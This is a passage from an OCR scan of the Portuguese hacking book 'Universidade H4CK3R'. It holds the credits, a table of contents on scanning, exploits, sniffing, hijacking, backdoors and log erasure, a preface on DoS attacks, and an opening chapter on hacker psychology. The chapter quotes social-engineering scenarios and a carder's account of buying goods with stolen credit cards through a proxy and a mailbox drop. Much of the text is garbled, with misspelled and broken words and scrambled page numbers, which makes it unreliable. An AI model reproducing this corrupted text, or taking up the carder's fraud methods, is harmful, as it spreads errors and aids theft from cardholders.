Você está na página 1de 331

- -

uni ersl a e
Jniversidade H4CK3R 1
Contedo extra
No CD: alm das ferramentas hackers, voc encontra os apndices do livro
em fonnato PDF na ntegra.
Na Internet: basta se cadastrdr no site www.digeratLcom/livros para ter aces-
so s atualizaes, erratas e ao material que preparamos especialmente para
complementar seus estudos. Atravs da pgina voc tambm poder enviar
e-mails com dvidas, crticas ou sugestes para o editor ou para os autores.
ersidade
4
a
EDIAO
HENRIQUE CESAR ULBRICH
JAMES DELLA VALLE
14 [
r Universidade H4CK3R
e 2oo4 by Digerati Books
Todos os direitos reservados e protegidos pela Lei 5.988 de 14/12/73. Nenhuma
parte deste livro, sem autorizao prvia por escnto da edi t ora, poder ser
reproduzida ou t ransmit ida sejam qua is forem os meios empregados:
eletrnicos, mecnicos, fotogrficos, gravao ou quaisquer outros.
Editor: LUIs Matos
Projeto grfico e Arte: MauriciO (ostato
Capa: Jos Antonio Martins
Ilustradores: Daniel Bnto e Helber Bimba
Revisoras: Angela das Neves, Cntia Yamashlro e Pnscila Cassetan
Produo do CD-ROM: Marcelo Bruzzesl, Simone Ribeiro de Carvalho,
Raphael Pansuttl e Gunther Khun
Autores:
Ulbrich, Henrique Cesar
Della Valle, James
Universidade Hacker - 4' Edico
Digerati Comunicao e Tecnologia Ltda.
Rua Haddock Lobo, 347 - 12 andar
CEP 01414-001 So Paulo/SP
Fone, [1113217-2600 Fa" [111 3217-2617
www.dlgeratl.com
Diretores
Alessandro Gerardl - Igerardl@digeraticom.br!
LUIs Afonso G. Nelra - fafonso@dlgeratl.com.br/
Alesslo Fon Melozo - la/essio@digerafl:com.br/
Gerente de Vendas: Pierre Abreu Ivendas@dlgeratl.com.br!
Divulgao: nca Cunha lenca@dlgerafl.com.brl
Assessoria de Imprensa: Simone Slman fSlman@)dlgeratl.com.br!
ISBN, 85-89535-0 1-0
I Prefcio I
No de hoje que o hackerismo fascina milhares de pessoas em todo o mundo.
Vrias imagens foram criadas sobre os hackers
1
, algumas colocando-os como
justiceiros, com podt:r de combater e desfalcar grandes corporaes; outras,
mostrando-os como simples bandidos atrs de uma forma ilcita de obter lucro,
seja roubando dinheiro ou informaes sigilosas. H ainda uma terceira viso
que coloca o hacker como um pesquisador, algum que busca sempre aprimorar
seus conhecimentos atravs do estudo de sistemas alheios.
Ao mesmo tempo em que exercem fascnio, eles tambm amedrontam
usurios e particularmente empresas, que temem ser invadidas e ter dados
confidenciais roubados.
H muito tempo os hackers aruam, mas inegavelmente foi no ircio de 2000
que eles ganharam as manchetes de jornais e revistas em todo o mundo. Durante
trs dias, na primeira quinzena de fevereiro daquele ano, uma ao coordenada
por um grupo de hackers prejudicou o funcionamento e gerou grande prejuzo
a sites muito populares comoYahoo! ,Amazon,eBay, ZDNet, Buy.com e CNN.com.
A ao foi realizada com um anificio considerado simples, chamado DoS (Denial
of Service, recusa de servio). Nesse tipo de ataque, os hackers no entram nos
computadores das vtimas para roubar informaes. Eles simplesmente os
bombardeiam com uma quantidade to grande de dados que o acesso a elas fica
bloqueado. Identificar os hackers que fazem esse tipo de ataque especialmente
difcil porque eles usam milhares de mquinas espalhadas pelo mundo, sem que
J Nes/e 1;.'1"0 usamos a panra hacker em seu s(gn!ficado mais popular. Entre/anto. sabemos que a corre-
Ia da hdcker au/ro. nwis dbmngente. lIocker a sinnimo de especialista. em Qualquer rea. Se o seu
jardineiro. por exemplo. for mui/a bom. ele pode ser catJSiderada um 'hacker emjardinagem
I Universidade H4CK3R I
161
os donos se dem conta. Esses computadores funcionam como "escmvos" sob o
comando de um mestre a distncia, que invadiu e dominou esses equipamemos
que, na maioria das vezes, possuem conexo de acesso rpido Internet.
Passados tres anos desse episdio em que o mundo olhou pela primeim vez
com um certo medo a ao dos hackers, as empresas se armamm, contmtaram
especialistas, novos sistemas de segumna fomm desenvolvidos e as equipes
fomm treinadas para evitar invases.Tambm uma infinidade de ttulos mostrando
como agiam os hackers foi lanada.
O resultado? Os hackers contlnuardm agindo e aumentando seu poder de
fogo cada vez mais. Pam se ter uma idia, em 21 de outubro de 2002, um
poderoso ataque conseguiu derrubar nove dos 13 senridores que gerenciam o
trfego mundial da Internet . Na poca, um oficial do governo americano
descreveu o ataque como a invaso mais sofisticada em grande escala j feita
em toda a histria da Internet contrd computadores de misso crtica.
Por que os hackers ainda continuam agindo? Por que os administmdores no
conseguem barmr sua ao? A resposta par.!. essas e muitas outrAS pergumas
podem ser conferidas nas prximas pginas. Pela primeira vez, um livro
mergulhou fundo no universo hacker pard revelar as mais modernas tcnicas
usadas e as diferentes motivaes que os levam a cominuar atacando.
Seja bcm-vindo a Universidade Hacker.
Luis Matos
I Sumrio I
Prefcio ............................................................................... 5
Parte I .......... ........... ....... .... ...................... ................. ........ 15
UnIversidade 1 Ano: Formando o Seript K,ddie
o. AuLa InauguraL .............................................................. 17
-Informao: A chave de tudo. . .............................................. 18
-Omitohacker ............................ . . .............. 19
- Mocinho ou vi/ao ...................................... , ........................... ...... . . ....... 20
- Descaso das empresas ......... . ................................... . 20
- Avalanche de ataques .......................... . . ... 21
- Bem-vindo s aulas .................................................................... . . ... 22
1. PsicoLogia Hacker .......................................................... 25
o verdadeiro hacker e o hacker mostrado na mdia ............................ . ....... 26
Sopa de letrinhas: Hackers, crackers, phreakers ................................................ 28
O que so, como pensam e como agem .. . ......................... ,., ....... , ................. 30
-Aprendizado ....................................................................................................... 30
-Comprometimento ............................................................................................... 31
- Comparfllhamento ..... .................................... ................... .......... . ........ 31
- Ei/ Isso ti Ifnportante.! ....... ............................... .............. ........ ........ .. 32
Porque algum gastaria tempo e dinheiro numa Invaso? . 33
2. Redes I ......... ..................................... ...... ... ... ................ 35
Introduo ....... ...................................... . ................................................ 36
- Conceituao ................................................................................................... 36
Estrutura fsica. ........................................ .................................................. . .... 37
-EqUIpamento adicional ..................................................................................... 38
- AbrangncIa ................. ... ................................................. ....... . ...... 38
T opologias ........... .. ................. ..... .............. ............ ................. . .................. 39
- PrincIpais topologlas ......... ......... ..... .... .... .......... ..... . ....... 39
Protocolos ................................................................................................................ 41
- Como funcionam .................. . ......... ............................................. 42
- Malrioshka ............................ .......................... . ................... 44
Ethernet ............................. ............. ....... ...... . ....................................... 45
O modelo OSI ......................... ... .......... ................ . ............. 47
- Camadas..................... .................. . ...................................... 47
- Um exemplo prtIco ........ ............ ........ ...... ....... . ......... ...... . ... 50
5PX/ IPX ......................... ........................... .............. . .. 52
- Camadas ...... ...... ............... ........ 52
NetBI05 / NetBEUI / 5MB / CIF5 .......................................................................... 53
- Camadas ...................... ............................. . ...................................... ... 54
AppleTalk .............. .................... .......................... ....................................... ..55
- Camadas ...................... ................. .......... .... .... ......... .... . .... 55
17 1
I Universidade H4CK3R I
Tep/IP .................... . ........................................................ .................................. 55
- Camadas ....... ....... . .................................................... 55
-Entendendo o TCP/IP .................................. _.. . ................... ...... 56
- O protocolo IP... ............. ...... ...... .......... ................ .............. . ........... 56
- Endereo IP .................... ................ ................ ................ . ......... 57
- Mscara de Rede .................. .......... ................ ............ ...... .. 57
- TCP/UDP ................ ................ .............. . ........ 57
- Portas.. .................................... ................ .................. 57
-DNS.................................................. .................................. . ............. 57
-ARP .................................................................................................................. S7
.. Laboratrio de Redes I .................................. _ .................................................... 58
- Windows 9x ....................................................................................................... 59
3. Plataforma Windows .......................... .... ... .. ... .. .. ........ .. 63
.. As "famlias" Windows ................................................................................. __ ........ 64
-Famlia W19x ................ .......................... .............................. . .. _._ ... _.64-
- Famlia WinNT ................................................................................................. 65
.. Nos bastidores ..................................................................................................... 66
- Estrutura .................................................... .................... .............. . .. 66
- Enfldades ......................................................................................................... 68
.. Como mesmo que fao aquilo ............................................................................. 76
- Os arquivos INI ..... ...................................... ................ . ........... 76
- Registrar o qu? ........................................ ................... .............. . ......... 77
- Estrutura do registro .............................. .............. ............ ............ . ..... 78
- a ~ . . . . . . . . . . . . . . . . . . .......................... .............................n
- Um pouco de graxa para os cotovelos ................ .............. ............ . .. 80
- O tesouro .. .............. . ................................................................ 81
.. Where to, buddy? ................................................................................................... 83
4. Plataformas Unix ...... .... .... .... .... ....... .... ....... .... ... .... ....... 85
.. o modelo Unix de sistemas operacionais ............................................................... 86
- Apenas um jogo de computador ....................................................................... B7
-POS/X .... ........................ . ......................................... 88
- Dezenas de sabores sua escolha ........................................................... 89
.. As entranhas da fera ............................................................................................... 89
- Estrutura. ................ . . . .............. . ................ 90
-Sistema de arquivos ...................................................... ..90
.. O cerne da questo .................................................................................................. 93
- Dispositivos ................... ........... .. .......... .... ... ............ .................. . ........ 95
- Processos (no, no papo de advogado/ .................................. 96
- Et; podena me fazer um favor? ........................................ .............................. 97
- Comunicao entre processos . ......................................................................... 98
- Sinais e semforos ............................................................................................ 99
.. Na praia catando mexilhes ................................................................................... 101
- Minha co/eo de conchas ...... .......... . ... . . .......... 102
- Scr/pt for a Jester s tear ............................................... ................................... 102
- Todos os segredos esto no/etc. . .................................................... 103
- Inittab and the Run(eve(s (parece banda de rock, mas no .. . ................... 103
18 1
- Outras gemas .................................................................................................. 105
O meu eu quero de flocos .. .................. .................... . .............................. 106
- Freeas "7 free speech .............. ....................... .................... . .................. 106
- A dana dos pingins ......... ........................ .............. .. ..... 107
- O diab"Iho que ri.. ............................. ............................. .. ............ 108
Vou can go your own way ..................................................................................... 108
5. Fundamentos Jurdcos ............................................... 111
Por que a sociedade teme os -hackers-? ........................ ..................... .. .......... '12
As l iberdades individuais e o direito privado ..................... ............................. 113
O direito informao e os ataques liberdade ................ 114
A legislao brasileira ... .............................. .............. .. .................. 115
leis internacionais aps o dia'1 de setembro de 2001 .................. 118
- Nos Estados Unidos . ........................................................................................ 118
-Na Europa .............................................. .. .. ....................... 119
Casos de hackers famosos ........................... . . .................................................. 119
- O russo que 'hackeou" a Adobe ............... .. . ................... 119
- O hacker mais famoso do mundo .............................. .. .. .. .... ................. 120
6. Engenharia Social ....................................................... 123
Ateno: isso crime! ....... ........................... .. ............................................ 124
Tipos de ataque ............................................... .. .......................................... 125
-Ataque d/reto ................................................. ...................... .. ............ 125
-Ataque indireto ...... ...................................... .......................... .. ................. 125
Mtodos utilizados ..... .................. .. .................................................. 125
-Disfarces............................... .................... ..................... .. ..... 126
- O lixo rico' ........................................................................................................ 126
- Funcionrios descontentes e redes de contatos ............................................... 127
- Oapelosentimental... ............... ............. ................... .. ................... 127
- Programao neurolingstica ......... ................................................................. 127
- A utilizao da Internet ... ............................. . .............................. .................. 127
- O fator sorte ...................................................................................................... 128
- Navegando no mar prolb/do .. ................... ........ .... ............. .. ................... 128
Casos reais ........................... ............................. ................... .. .................. 128
- Abraham Abdallah ........................................................................................... 129
- Kevt!7 Mitn/ck ............ ........................... .. ..................................................... 129
7. Vulnerabilidades 1 ................................ ....................... 131
Noes de vulnerabilidade. ............................ .. .......................................... 132
- Superlammers e sua v/so de Raio-X ............................................................... 133
Os quatro passos para um hackingleliz ................................................................. 134
Search and Destroy ............................................................................................. 136
- Logins fracos .................. .. .............................................................................. 136
-Arrombando a porta da frente .................. .. ...... ............. .. ............... 136
- Sem quebrara ovo no se faz omelete... ............................. .. .............. 138
- Scanners .............................................. .......... ............... . ................ 141
- Portscanners .................................................................................................... 141
- Funcionamento de um scanner de portas ............................. 143
19 1
[Universidade H4CK3R [
- Scanner de vulnerabilidade ............................................................................. 144
- Exploits .......................................................... _ ....... ............. _ ...... _ ......... ............... 145
~ Em Tria, como os gregos ..................................................................................... 146
~ As falhas de segurana mais comuns em mlcros domticos ................................ 148
- TCP SYN Scanning versus WIndows 98 ....... .............................................. 148
- Compartilhamentos em computadores Windows rSMB/ClFS/ ... 148
- Servios desnecessariamente ligados ............................... ................. 150
- Buffer Overflow nos servios de Remate Procedure Cal! ........................... 151
~ laboratrio de Vulnerabilidades I .......................................................................... 151
~ Configurando o servidor ......................................................................................... 152
-.Juntando as coisas . . ................................. 153
- Porta dos fundos .......................................................................................... 153
~ Consideraes finais ............................................................................................... 154
Parte II
Universidade 2 Ano: O caminho de um Voyager ........................................ 155
8. Redes II .. ..... ......... ......... .. ... .. .. .. ...... ... .. ... ... .... .. ... .. ... ... . 157
~ TCP/IP: o incio. . .................. 158
~ 051 versus TCP/IP ................................................................................................... 159
- Camadas dos protocolos de rede ..................................................... 160
~ Protocolo IP . _ ... _ ... _._ .. _ ..... _ .... _ .. 160
-OpacoteIP..................... ............... . .................................... 161
-Endereamento!P. _ .......................................................................................... 164
- Redes e Hosts ............... ................................ . .......................................... 165
~ Protocolo TCP ................... ........................ ............... . ................................. 166
- O pacote TCP .... .................. ................................................. . ........... 167
- Portas TCP........ .............. ............... ............................... . ............... 169
- Os bits de controle TCP ....................... . ............................ 171
~ Protocolo UDP ._... . ................................................................................. 172
~ Protocolo ICMP ....................................................................................................... 173
~ laboratrio de Redes II .......................................................................................... 176
~ Roteamento ............................................................................................................ 178
~ Internet ................................................................................................................... 179
~ Sub-redes ............................................................................................................... 179
~ Redes Wireless .................................. _... __ .180
- Rdio .......................................................................................... .
- IEEE 802.11 .
-Infravermelho ........................................................................ .
- Bluetooth ....................................... ............................ .
-65M .
-2,56 .................................................................................... ..
~
- WiFi . ............... .............. ..... .
. .. 180
. ... 180
.. 180
/8/
/8/
/8/
/8/
/8/
9 Vulnerabilidades II .. ... ... .... .... ... ... .. ...... ... .. ... ... .. ... ... ..... 183
Navegando anonimamente .................................................................................... 185
- Proxies pblicos ............................................................................................. 185
-Proxiesprivados ............. ............. . ..................... 188
-SqU/d.... ..................................... .................. .............. . .......... 190
- ~ n a t e ................................................. .............. . ........................ 190
Anonymous remailers ............................................................................................ 191
Furando firewalls ...... ...................... . ......... 193
- Firewalls ........................... .............. . ....... 194
- Fillros de pacotes ............................................................................................ 194
- Proxies ........... ...... ........ .............. .... ........ ....... . . ....... ......... ..... . ............... 196
- Filtros de pacotes por estado ISPF/ ................................................................. 197
- Pesquisando as regras do filtro de pacotes ........................ ............ 197
Servidores Web ............... .................... ................... . ... 198
- Apache ...................... ... ........ .......... ...... ......... ...... . ......................... 199
- Sun DNE I/Planei .................... . ........ 199
- Microsoft Internet Information Services 1//5/ .... 200
- Common Gateway Interface ICGI! .............. ....................................... . .. 201
-PHPeASP .... ......................... _............... ......... . ............. 202
Defacements ......................................................................................................... 203
Banco de Dados ..................................................................................................... 204
- Conectando diretamente via Internet .................... . ............... 204
- Senhas na Web Iteoria x prtica! .................. . ............................... 205
Estamos todos vulnerveis? ............................................. . ......................... 209
Parte III
Universidade 3 Ano: Tornando-se um Hacker ................... ....................... 211
10. Ataque, defesa e contra-ataque: Introduo ... . ... .. 213
Os seis passos para um hacking feliz ......................................................... 214
- Dportal ... .......................................... . . .............................................. 217
- Passos para hacker fulano de tal .... . . .......... 221
- Uma palavra f"la! sobre planejmento .... . ........ 223
11. Ataque, defesa e contra-ataque: Observao .... ...... .. 225
Engenharia Social.. . .................................................. 226
A grande teia ........................................................................................................ 2"Z7
- O Goog!e seu amigo. . .............. .... ............ ...... . .......................... 227
-At/u, Brutus? ..................... . ........................................................ 229
- Quem esse cara? ................................ ........ .......... ............ . ............ 229
Sign your name across my heart. . ............ 230
Defesa e contra-ataque ..................................................... . ...... 232
12. Ataque, defesa e contra-ataque: Busca . .... ... .. .... ... . 235
Cartografia aplicada Internet ................................................................ .. 236
- Varre, varre, vassounnha. . ................... . .............. _.......... . .................. 237
-Argh/Mas isso d trabalho/ .................. 240
111 I
112 1
I Universidade H4CK3R I
Procurando portas abertas .................................................................................... 240
- Escolhendo as portas de oogem ....................................................................... 241
- Varrendo sob o tapete ...................................................................................... 242
-Impresso digital na Web ......................... ................... ....................... .. 243
- Tem mais? .................................................................................................... 243
Procurando brechas. ...................................................... ................. . 243
Defesa e cont ra-ataque ...................................................................................... 244
13. Ataque, defesa e contra-ataque: Invaso ................. 247
A Invaso em etapas ......... ..................... ............... .. .. .... 248
War Dialing + Brute Force .... ......... .................... 249
- Conhea suas armas ..... ...... .. .......................................................... .. .. 249
-Ah, a fora bruta to I'Ida... ... .................... .............. ................... 251
Entendendo o estouro de pilha ................................................. .. ............... 252
- Um amontoado de cOisas... .................. ....................................... . .......... 252
-As pilhas no relf10 dIgitai......... ..................................... .. .... 253
- Debug ln on lhe tab/e .................................... , ......................... .257
Ganhando acesso por estouro de pilha ............................................................... 259
Ganhando acesso a outras contas ........... .... ... . ...... 263
- Mtodos para descobnr usunos e senhas.... .. ..................................... 264
- Quebrando senhas no WIndows .......................... ....... ........... ..................... 265
- Quebrando senhas no UntX .. ................. ............... ...... . ........... . ..................... 267
Ganhando acesso e destruindo a rede.. ........... .... ....... .. ............... ................... 268
- WarDrivlnge WarChalklng. . ...................... ...... .. ............................... 268
-lndoalmdoSOL Injectton... ....................... .. ....................... 269
- Farepndo a rede rSntfflngl ............................................................................. 270
- Snilflng passivo................. ....... . ....... ....................... .. ................ 273
- Snil"ng a/ivo ......................................................................... , 275
- Esco/hendoseusabujo ....................... ............................................................. 277
- Farepmdo na prtica ...................................................................................... 282
- Quando a caa v ........................................................................................ ... 285
Who can you trust? .................................. ................ ............ ....... .. ...... .. 286
Captura de sesses IHIJackingl .............. .. .................................................... 290
- SeleClonando seus combatentes .................................................................... 293
- Sequestro na prtica ... ................... ................................. ................... . ...... 295
- Outros mtodos de desviar trfego.. ............... .. .............................. 297
- Navegao de servIo ................. ................. ................ ........ .. ....... 298
- Maslers and Slaves .................................... ............................ .. ... 305
Defesa e contra-ataque ...................... ................................... . ... 306
- War Dlating Brute Force .......... ....................................................................... 306
-Ouebradesenhas ................................... ........................ ,............ .. ..... 307
- Negao de servIo ................. ................ .......................... . .................. 309
14. Ataque, defesa e contra-ataque: Manuteno .......... 313
Backdoors ........................... ..
- Portas de tr maliciosas .......................... ..
- Novamente, UAt tu, Brutus?" ................................. ..
Vrus e Cavalos de Tria ................................................. .
.. ............ 314
.. ........... 315
.......... 376
. ........... 319
- Mais uma vez, V/rus .......................................................................................... 319
- V/rus ainda Indetectvels... ........ ................ ... .. .......................... . ................... 319
-Indo alm dos Cavalos de Tria ................................................................ 320
- There IS no spoon ................. . .................................................................. 323
Comunicao sem conexes ............................................................................... 326
- Ouvindo moucos .. ........... ............. ....... ........ .... .... .................... 326
- FarejiJndo problemas ... . .......................................................... 327
-Atualtiandoacamuf/agem ................. .................................. . .......... 328
- Layer-O: como funciona .. .................... . ................................................ 329
Defesa e Contra-ataque ......... ..................................... . ...................... 331
- Backdoors. Vlrus e Cavalos de Tria ................. .......................... ............ .331
- Comunicao sem conexes . ..... .................................... .. ........................ 334
Estamos quase l ............... ........ ....... .................................... ....... ........... .. 335
15. Ataque. defesa e contra-ataque: Evaso .. ................ 337
o bsico: apagando os logs ............................................................................... 338
- Registro de eventos Unix ............................................................................... 339
- Registro de eventos no Microsoft NT/2k/XP .................................................. 345
Escondendo suas conexes ......................................... . .................... 346
Defesa e Contra-ataque .......................................................... ........................... 347
-Apagamentodelogs .................. ..... .. ................................. ... ..... ...................... 347
- Camuflagem de conexes ............................................................................... 347
Uma despedida? ................ , ..................................................................... 348
Apndices ................................................................... no CD
Introduo aos Sistemas Operacionais
Plataformas Novel Netware
Programao I
Programao II
Hardware
Informtica bsica
Um pouco de histria
O Kernel do MS- DOS
Histria da Internet
B-a-B do Unix
113 1
Universidade 10 Ano:
Formando o Script Kiddie
Aula Inaugural
caPtuloO
"Jdeologia. Eu quero
uma pra viverr
Cazuza
I Universidade H4CK3R I
I I
Aula inaugural
"Meu crime a curiosidade, subestimar os mais poderosos mesmo quando
errados. Meu crime saber tudo sobre todos, ser mais espeno. Estou preso,
mas por uma causa justa".
A frase acima foi proferida por um hacker que foi preso acusado de tentativa
de extorso. Ela no somente reveladora de seu pensamento, mas, de forma
ger.tI, expressa o pensamento de boa parte da comunidade hacker.
Na maioria das vezes, o que move um hackcr em suas incurses por sistemas
alheios a adrenalina produzida pelo risco combinando com a satisfao da vitria.
Muitos pensam que esto em uma guerra, na qual matar ou morrer significa
mVdir ou no o sistema. Thdo tem de ser bem pensado par.!. conseguir o objetivo
fmal e o risco algo que aumenta a adrenalina. Quanto mais difcil, melhor.
Poderamos dizer que o hacker somente uma pessoa em busca do
conhecimento, de desvendar mistrios, de invadir a linha do inimigo para saber
seus segredos e alertar a todos sobre o que viu?
No, certanlente no. Estamos desconsiderando um fator muito imponante.
Imagine voc tomar contato com o nlmero do cano de crdito de 10 mil
pessoas, ou mesmo ter acesso a informaes extremamente sigilosas sobre
empresas. Poucos resistiriam tentao de fJ.zer uso dessas infonnaes.Alguns
pensariam: vou usar somente um nlmero de carto uma nica vez e depois eu
paro. como uma pessoa se vicia na droga, no? Uma primeira vez, uma segunda,
e quando v no consegue se livrar do vicio.
Sem contar que o hacker tambm tem de lutar contra sua vaidade. Invadir
someme no tem nenhum mrito se os outros no ficarem sabendo. No
verdade? A a vida do hacker comea a se complicar.
Informao: a chave de tudo
Como num combate real, tudo vlido para obter uma informao que ajude
no acesso ao sistema. Kevin Mitnick, considerando um dos maiores hackers de
todos os tempos I, se especializou em uma tcnica batizada de engenharia social.
ParJ. compreender melhor como todos podem ser facilmeme enganados por
hackers malintencionados, acompanhe o relato feito recentemente por Mitnick
em entrevista revista PC Brasil , publicada pela Digerati Editorial.
" ... Imagine que voc est trabalhando para uma corporao. Ao entrar cm um
elevador, nota que algum deixou cair um disquete no cho. O disco tem
estampado o logo da empresa e traz uma etiqueta que diz: "Confidencial :
histrico salarial de todos os funcionrios ". Diante disso, qual a primeira
I Apesar d()$ hlCkcrs rcillmcnfe bons nUIlCiI' ~ r m pegos
Aula inauguraq
providncia que voc tomaria? Movidos pela curiosidade, colocamos o disquete
na mquina e abrimos o arquivo para ver seu contedo. Talvez exista um cone
para um documento do Word cham:ldo "arquivo de folha de pagamento" ou
salarial ". Provavelmente clicaramos para comparar nosso salrio com
o dos demais. O que acontece, ento? Voc v uma caixa de mensagem que diz
algo como "o aplicativo no pde ser abeno"ou "' arquivo falho". O que a maioria
no sabe que um cavalo de tria acaba de ser instalado, o que pem1itir que
um intruso a invada. Voc v.u devolver o disco para o setor de recursos humanos,
onde algum vai verific-lo - agora o hacker tem acesso a dois computadores.
Esse um exemplo de ataque indireto.
Um :uaque direto aquele em que o invasor se comunica dirctamente com a
vtima via tc1efone,fax,e-mail ou at pessoalmente. Na maioria dos casos, o ataque
no personalizado - visa outro empregado, por exemplo - e tenta persuadi-
los para que revelem informaes, instalem softwares ou acessem um site que
prejudique a estrutura computacional da empresa.
Digamos que lUn hacker queira atingir a John Wiley & Sons. EJe ou ela deve
constnlir um web site que parea totalmente confivel. O site tem um programa
de registro e pede aos usurios que coloquem um login e uma senha. O invasor
ento envia um e-mail para mil empregados da Wiley, enc orajando-os a
registr.lrem-se em troca de um prmio. O e-mail tambm contm um link para o
websile criado pelo invasor. Digamos que 10% dos empregados que recebem o
e-mail realmente respondam. E suponhamos que 100/0 dos registros usem a mesma
senha do servio (para no ter de decorar vrias senhas). Com apenas 25
endereos de e-mails e senhas, o hacker tem formas variadas de acessar o sistema
comput.lcional da Willey".
o mito hacker
Muito mais do que um especialista, o hacker considerAdo por muita gente
como um criminoso. Aquele individuo do qual as empresas devem se proteger,
pois ele pode a qualquer momento invadir sua rede de informao provocando
srios prejuzos. tambm aquela pessoa que pode vir a roubar dados, senhas e
nllmero de C:lrtes dos usurios que fornecem essas informaes para as
empresas nas quais fazem compras.
Essa imagem aliment<lda por alguns grupos hackers que agem
verdadeirJ.mente como criminosos, e :Ipossando-se de dados confidenciais e
fazendo uso destes. Veja este relato:
"O maior golpe foi a compra de trs l:tptops de mna vez na Semp Toshiba, que
foi feita normalmente, num sbado noite.Abri meu Opera, pus meu Proxy e fui s
compms. Dom, o total foi 14 mil dl:tres, c a compm foi aceita, parcelada no
119 1
I AuLa inauguraL
I Universidade H4CK3R I
20 I
carto em 6 vezes. Mas o dono do carto cancelou e meu pedido no veio (essa
parte a pior: cancelamento da compra). Mas isso foi h muito tempo, no inicio.
Agora, ns compramos muitos livros, sofrwares, dOO1UOS, notebooks, ele.
Uma das minhas compras bem-sucedidas foi de um CD-ROM e um monitor de
17", tela plana, com vaJor de 2 mil dlares, mas no fiquei com nada, vendi.
No caso da compra na Semp Toshiba, que foi cancelada um dia depois, o
endereo da entrega era da lanbox (lanbox um PO. Box dos EUA que
redirecionado ao seu endereo verdadeiro), e a entrega do CD e do monitor foi
na casa de um amigo ... " 2
Mocinho ou vilo?
Como tudo na vida, no possvel generalizar os diferentes tipos de hackers, nem
rotular todo esse imenso grupo da mesma forma. Tambm imprescindvel destacar
que os hackers, mesmo que algmnas vezes involtmtariamente, acabam ajudando a
revelar bugs em softwares e problemas existentes em redes, que poderiam resultar
em gr.tves conseqncias para usurios de redes corporativas ou da Internet.
Um exemplo disso foi dado em um dos maiores ataques cibernticos da histria
realizado em outubro de 2002, que derrubou boa parte dos principais servidores
dos EUA. Ele mostrou alguns furos importantes na segurana da Internet, que
so at conhecidos. Mas tambm revelou outra coisa: a superconcentrao de
servidores nos Estados Unidos. Apesar de ser uma rede que chega a quase todos
os pases do mundo, ainda 70% das mensagens passam por servidores ou
roteadores norte-americanos. No estamos mais nos velhos tempos, em que a
quantidade esmagadora de internautas era americana. Portanto, mudanas devem
ser feitas seguindo o esprito que criou a prpria Internet: a descentralizao da
comunicao. Alis, isso um importante fator de segurana bsico, mas
totalmente esquecido. Quando a maior parle do trfego da Internet fica
concentrada em pouco mais de dez superservidores, fica mais fcil organizar
um superat<lque. "Nunca coloque todos os ovos no mesmo cesto."
Descaso das empresas
Muitos bugs que permitem a ao de criminosos poderiam ser f<lcilmente
corrigidos, mas muitas companhias preferem fazer vistas grossas a esses
problemas, sendo, em muitos casos, at bastante displicentes. o que mostra
uma pesquisa feita pela Mdulo Security Solutions4, empresa especializada em
segurana. Segundo os dados colet<ldos, a segurana da informao fatar
importante para 45% dos executivos, sendo que 16% a consideram crtica e 32%
a classificam como vital. Mesmo assim, a falta de consciemizao dos executivos
2 Trecho de en/revis/:l do H:lcker cshr, membro do <.:l CilrderBR. ii revis/iI H4CKjR
3 Voc' d eve (:onhecer este dimdo. no t? P';lnXC que os ilmericmos nao __ _
4 Pesquisa divulgada no final de 2002
AuLa inauguraq
(45%) e dos usurios (38%) foram apontadas como os principais obstculos
para implementao da segurana nas corporaes.
Um dado revelado pela pesquisa extremamente preocupante: 43% das
empresas reconheceram ter sofrido ataques nos ltimos 12 meses, representando
um aumento de 10% em relao a 2001 , sendo que 24% das ocorrncias foram
registradas nos ltimos seis meses. Mas o pior de tudo que 32% no souberam
informar se foram atacadas ou no e, apesar da expectativa de aumento nos
problemas com a segurana e o crescimento no ndice de registros de ataques e
invases, a pesquisa mostra que apenas metade das empresas brasileiras (49%)
possuem planos de ao formalizados em caso de ataques.
Outro dado interessante aponta que os hackers (48%) foram os maiores
responsveis por ataques e invases em 2002, representando um aumento de
15% com relao a 2001. Em segundo lugar vm os funcionrios, que passaram
de 24 para 31 %. Surge tambm uma nova ameaa, no registrada na pesquisa
anterior: a categoria ex-funcionrios, que registrou 8%. O percentual relativo a
prestadores de servio passou de 3 para 12% e o dos concorrentes de 1 para 4%.
O pior de tudo que a percepo de falta de segurana nas transaes continua
sendo o maior obstculo parJ. o desenvolvimento de negcios digitais em escala
g1obal. So nada menos do que 66% os usurios que deixam de comprar pela
Internet por causa da sensao de falta de segurana.
Avalanche de ataques
Todos sabemos que h vrios fatores que contribuem para a intensa atividade
hacker. Para comear, h muitos sites inseguros. Um estudo do Gartner Group
estima que 2/3 dos servidores da Web no mundo podem ser invadidos de alguma
forma. Outro fator que estimula a atividade hacker a ampla disponibilidade de
ferramentas de ataque na Internet. Qualquer adolescente com tempo livre e
conhecimentos tcnicos medianos consegue encontrar as informaes e os
softwares necessrios para uma invaso. Mas o principal motivo ainda a
impunidade. Os poucos policiais que investigam crimes digitais no BrJsil no
conseguem atender a todos os casos. Alm disso, a falta de uma legislao
especfica dificulta a punio do culpado, se bem que alguns hackers podem ser
enquadrJdos com base no Cdigo Penal de acordo com o crime praticado.
Para se ter uma idia da quantidade de aes hackers, um estudo da
Universidade da Califrnia mostrou que os hackers tentam realizar mais de 4
mil ataques do tipo DoS (Denial ofService) todas as semanas, um nmero bastante
impressionante e que mostra que h muito do que se proteger no mundo virtual.
121 I
I Aula inaugu ral
I Universidade H4CK3R I
!21
Bem-vindo s aulas
~ a hora de tentar invadir um site, meu corao disparava e a adrenalina ia a
mil por hora. O medo de ser pego, jumo com a perspectiva de vitria e sucesso,
causava uma euforia tamanha que no d para descrever. Depois que todo mundo
fica sabendo do seu feito, a s curtir a fama ".
Relatos como esse, feito por hackers, podem at pintar um mundo cheio de
aventura e emoo para quem invade sites e sistemas. Mas a verdade que no
bem assim. Nas prximas pginas voc ter a oportunidade de conhecer muito
desse universo hacker, aprendendo a teoria e exerccios prticos para quem
deseja dominar as tcnicas hackers. Nem seria preciso dizer que nosso objetivo
formar pessoas extremamente conhecedordS em informtica que possam usar
esses conhecimentos para trabalhar com segurana, desvendando
vulnerJbilidades e buscando solues.
Organizamos os assuntos ao longo do curso de forma a preencher as
necessidades do aluno. Entretanto, emendemos que muitos j "iniciados" vo
ler este livro. Portanto, separamos os assuntos em trs grandes grupos: pr-
requisitos, Ilackerismo bsico e hackerismo avanado. Deixamos no livro
impresso os assuntos sobre hackcrismo, e o que consideramos como "pr-
requisito" (programao, sistemas operdcionais e hardware) inclumos no CD-
ROM como apndices.
Assim, suprimos as necessidades de quem est comeando "do zero" e no
penalizamos o "iniciado" com pginas cheias de coisas que ele j sabe.
O uso indevido das informaes aqui prestadas, bem como de informaes
apresentadas em qualquer livro, seja ele sobre redes, servidores de Internet ,
